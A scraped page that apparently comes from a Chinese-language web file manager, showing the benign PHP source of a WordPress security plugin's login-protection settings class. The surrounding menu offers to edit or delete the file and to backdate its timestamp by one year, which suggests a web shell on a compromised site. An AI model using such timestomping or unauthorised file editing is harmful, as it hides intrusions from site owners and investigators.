文件操作 - SettingsPEL.php
返回文件管理
返回主菜单
删除本文件
文件: /home/www/public/wp-content/plugins/ionos-security/inc/Controllers/Settings/SettingsPEL.php
编辑文件内容
<?php namespace Ionos\Security\Controllers\Settings; use Exception; use Ionos\Security\Controllers\PEL; use Ionos\SettingsPage\Elements\CheckboxField; use Ionos\SettingsPage\Elements\SectionHeader; use Ionos\SettingsPage\SettingsBuilder; /** * Class for handling the pel settings tab. */ class SettingsPEL { /** * Name of the tab used in the settings builder * * @var string */ const TAB_NAME = 'login-protection'; /** * Name of the menu slug that is used in WordPress. * * @var string */ const MENU_SLUG = 'ionos_security'; /** * SettingsBuilder instance for the xmlrpc-guard tab. * * @var SettingsBuilder $settings_builder */ private $settings_builder; /** * Creates an object of the SettingsBuilder class and stores it as class property. */ public function __construct() { $this->settings_builder = new SettingsBuilder( 'ionos-security', __( 'Security', 'ionos-security' ), self::MENU_SLUG ); } /** * Merges the feature-specific settings builder with that of the main plugin one. * * @since 1.0.0 */ private function merge_with_base() { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.DynamicHooknameFound apply_filters( self::MENU_SLUG . '_merge_settings_page', $this->settings_builder ); add_filter( 'ionos-security_options_array_sanitize_callback', [ $this, 'validate_options' ], 10, 2 ); } /** * Validates the options. * * @since 1.0.0 * * @param array $data Array of raw form values. * @param string $tab The current tab. * * @return array Array of validated values. */ public function validate_options( $data, $tab ) { if ( $tab !== self::TAB_NAME ) { return array_merge( PEL::get_feature_options(), $data ); } if ( empty( $data ) || ! is_array( $data ) ) { return []; } $data['pel_enabled'] = empty( $data['pel_enabled'] ) ? 0 : 1; return $data; } /** * Registers the assets and tabs for the settings builder and adds the elements to the settings view. * * @since 1.0.0 * * @return void * @throws Exception If something goes wrong while adding elements. */ public function init() { $this->settings_builder->register_assets(); $this->settings_builder->add_tab( self::TAB_NAME, __( 'Login Protection', 'ionos-security' ) ); $this->settings_builder->add_element( self::TAB_NAME, new SectionHeader( [ 'heading' => __( 'Login Protection', 'ionos-security' ), ] ) ); $this->settings_builder->add_field( self::TAB_NAME, new CheckboxField( 'ionos-security[pel_enabled]', [ 'label' => __( 'Prohibit Email Login', 'ionos-security' ), 'description' => __( 'Security disables login with email addresses. This improves security by reducing the potential attack surface.', 'ionos-security' ), ] ) ); $this->merge_with_base(); } }
修改文件时间
将文件时间修改为当前时间的前一年
删除文件